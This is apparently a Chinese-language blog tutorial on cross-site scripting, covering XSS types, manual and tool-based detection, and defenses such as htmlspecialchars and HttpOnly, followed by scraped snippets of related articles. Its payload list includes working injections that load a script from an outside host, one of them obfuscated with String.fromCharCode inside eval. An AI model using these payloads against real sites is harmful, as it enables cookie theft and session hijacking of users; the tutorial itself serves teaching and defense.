web安全之xss

xss:跨站脚本攻击,攻击者,把一段恶意代码镶嵌到web页面,,用户浏览页面时,嵌入页面的恶意代码就会执行,从而到达攻击用户的目的。

   重点在于脚本,javascript和actionscript

     属于前段攻击一般分为三类: 反射性xss,储存型XSS,DOM型XSS((还有flash XSS、mXSS)。)

重要介绍 存储型xss

危害:

  获取管理员的cookie

  鱼叉攻击

  挂马(水坑)

等等。

(1)反射性xss,url上有攻击者控制的参数,服务器在响应时,会把这个数据发到浏览器上并被解析。(危害不大)

(2)存储型xss,攻击者把存储型xss的代码发,被服务器接收并保存, 所有浏览该信息的用户都被XSS。

(3)domxss,DOM通常代表在html、xhtml和xml中的对象,使用DOM可以允许程序和脚本动态的访问和更新文档的内容、结构和样式。它不需要服务器解析响应的直接参与,触发XSS靠的是浏览器端的DOM解析,可以认为完全是客户端的事情。

4. flash XSS

利用网页上flash文件的缺陷来执行js脚本,一般是反射型XSS

XSS的检测

检测XSS一般分两种方法:一种是手工检测、一种是软件自动检测
手工检测:检测结果准确,但对于大型web来说费时费力
软件检测:方便省力,但存在误报,且有写隐蔽的XSS无法检测出
检测XSS最重要的就是考虑哪里有输入,输入的数据在哪里输出

存储型XSS步骤

1. 手工检测

可得知输出位置:
    • 输入敏感字符,如“<、>、"、‘、()”等,然后在提交后查看html源代码,看这些字符是否被转义。
    • 在输出这些字符时,程序可能已经进行了过滤,可以输入“AAAAAA<>"&‘()”字符串,然后查找AAAAAA或许比较方便。
无法得知输出位置:
    很多web应用程序源码不公开,在测试时不能的值输出位置,比如,有些留言本在留言后必须经过管理员审核才能显示,无法的值数据在后台管理页面处于何种状态,如:
    在标签中:<div>XSS Test</div>
    在属性内:<input type="text" name="content" value="XSS Test" />
    这种情况通常采用输入"/>XSS Test来测试。

2. 全自动检测XSS

如APPSCAN、AWVS、Burp Suite等软件都可以有效的检测XSS,他们还会检测其他的漏洞,但是他们的效率不如专业的XSS检测工具高。
专业的XSS扫描工具有知名的XSSER、XSSF等,还有专门扫描DOM类型XSS的web服务(www.domxssscanner.com)。
一般要手工和软件一起使用,因为有些XSS软件不能检测,不如有些留言需要输入验证码等,工具无法做到。

XSS一般就是闭合标签,和SQL注入类似,常见payload如下:

• <script src=‘http://b.ioio.pub/xss/probe.js‘></script>
• <img src=x onerror="s=createElement(‘script‘);body.appendChild(s);s.src=‘http://b.ioio.pub/xss/probe.js‘";>
• <svg onload=s=createElement(‘script‘);body.appendChild(s);s.src=‘http://b.ioio.pub/xss/probe.js>
• <svg onload=eval(String.fromCharCode(115,61,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,
    114,105,112,116,39,41,59,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,
    115,46,115,114,99,61,39,104,116,116,112,58,47,47,98,46,105,111,105,111,46,112,117,98,47,120,115,115,47,
    112,114,111,98,101,46,106,115)) >

XSS的防御

1. 过滤输入与输出(重点)

使用hemlspecialchars()和hemlentities()将一些预定义的字符转换为HTML实体

<?php
    @$html = $_GET[‘x‘];
    if ($html){
        echo htmlspecialchars($html);
    }
?>

2. HttpOnly

HttpOnly并不能防御XSS,它是为了解决XSS漏洞后面的Cookie劫持攻击,它可以有效地阻挡XSS会话劫持攻击。

 
时间: 2024-10-19 11:10:56

web安全之xss的相关文章

web安全之XSS注入

之前在做项目的时候有遇到一些安全问题,XSS注入就是其中之一 那么,什么是XSS注入呢? XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意脚本代码,而程序对于用户输入内容未过滤,当用户浏览该页之时,嵌入其中Web里面的脚本代码会被执行,从而达到恶意攻击用户的特殊目的. 跨站脚本攻击的危害:窃取cookie.放蠕虫.网站钓鱼 ... 跨站脚本攻击的分类主要有:存储型XSS.反射型XSS.DOM型XSS XSS漏洞是Web应用程序中最

WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案

对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避免后知后觉的犯下大错,专门参考大量前辈们的心得,小小的总结一下,欢迎大家拍砖啊 一.跨站脚本攻击(XSS) 跨站脚本攻击的原理 XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意脚本代码,而程序对于用户输入内容未过滤,当用户浏览该页之时

Web安全测试之XSS

Web安全测试之XSS XSS 全称(Cross Site Scripting) 跨站脚本攻击, 是Web程序中最常见的漏洞.指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的.  比如获取用户的Cookie,导航到恶意网站,携带木马等. 作为测试人员,需要了解XSS的原理,攻击场景,如何修复. 才能有效的防止XSS的发生. 阅读目录 XSS 是如何发生的 HTML Encode XSS 攻击场景 XSS漏洞的修复

Web应用进行XSS漏洞测试

转自:http://www.uml.org.cn/Test/201407161.asp 对 WEB 应用进行 XSS 漏洞测试,不能仅仅局限于在 WEB 页面输入 XSS 攻击字段,然后提交.绕过 JavaScript 的检测,输入 XSS 脚本,通常被测试人员忽略.下图为 XSS 恶意输入绕过 JavaScript 检测的攻击路径. 常见的 XSS 输入 XSS 输入通常包含 JavaScript 脚本,如弹出恶意警告框:<script>alert("XSS");<

Web安全之XSS跨站脚本攻击

本文主要选择常见web攻击手段之一的XSS(跨站点脚本攻击)来进行讲解,说明其攻击原理,并提出相应的解决办法. XSS XSS 攻击,全称是"跨站点脚本攻击"(Cross Site Scripting),之所以缩写为 XSS,主要是为了和"层叠样式表"(Cascading Style Sheets,CSS)区别开,以免混淆. XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其他用户使用的页面中.XSS是针对Web站点的客户隐

转Web安全测试之XSS

转http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.html XSS 全称(Cross Site Scripting) 跨站脚本攻击, 是Web程序中最常见的漏洞.指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的.  比如获取用户的Cookie,导航到恶意网站,携带木马等. 作为测试人员,需要了解XSS的原理,攻击场景,如何修复. 才能有效的防止

Web攻防之XSS,CSRF,SQL注入

摘要:对Web服务器的攻击也可以说是形形色色.种类繁多,常见的有挂马.SQL注入.缓冲区溢出.嗅探.利用IIS等针对Webserver漏洞进行攻击.本文结合WEB TOP10漏洞中常见的SQL注入,跨站脚本攻击(XSS),跨站请求伪造(CSRF)攻击的产生原理,介绍相应的防范方法. 关键字:SQL注入,XSS,CSRF 1.SQL注入 所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令. 攻击者通过在应用程序预先定义好的SQ

web前端安全 XSS跨站脚本 CSRF跨站请求伪造 SQL注入

web安全,从前端做起,总结下web前端安全的几种技术: 1,XSS XSS的全称是Cross Site Scripting,意思是跨站脚本,XSS的原理也就是往HTML中注入脚本,HTML指定了脚本标记 XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句. 另一类则是来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页.如当我们要渗透一个站点,我们自己构造一个有 跨站漏洞 的网页,然后构造跨站语句,通过结合其它技术,如社会工

Web Security of XSS

起这个标题有点大,但是作为web安全来讲,XSS还是蛮基础,但似乎又不为很多高手所常用,网上资料虽然很多,但是你真正去实作的时候,又是一头雾水,常常心生不是那么一回事哦的感慨,所以我就想写点或者说记点实践基础性的东西. 要学习XSS,自己搭个php环境还是很有必要的.其实很简单,一二三步就可以 . 第一步安装FastCGI. 第二步去这里下载phpManger,去这里下载php5.6.3, 将后者解压放在一个目录中,然后安装phpManager, 发现IIS就会多一个phpManager. 注册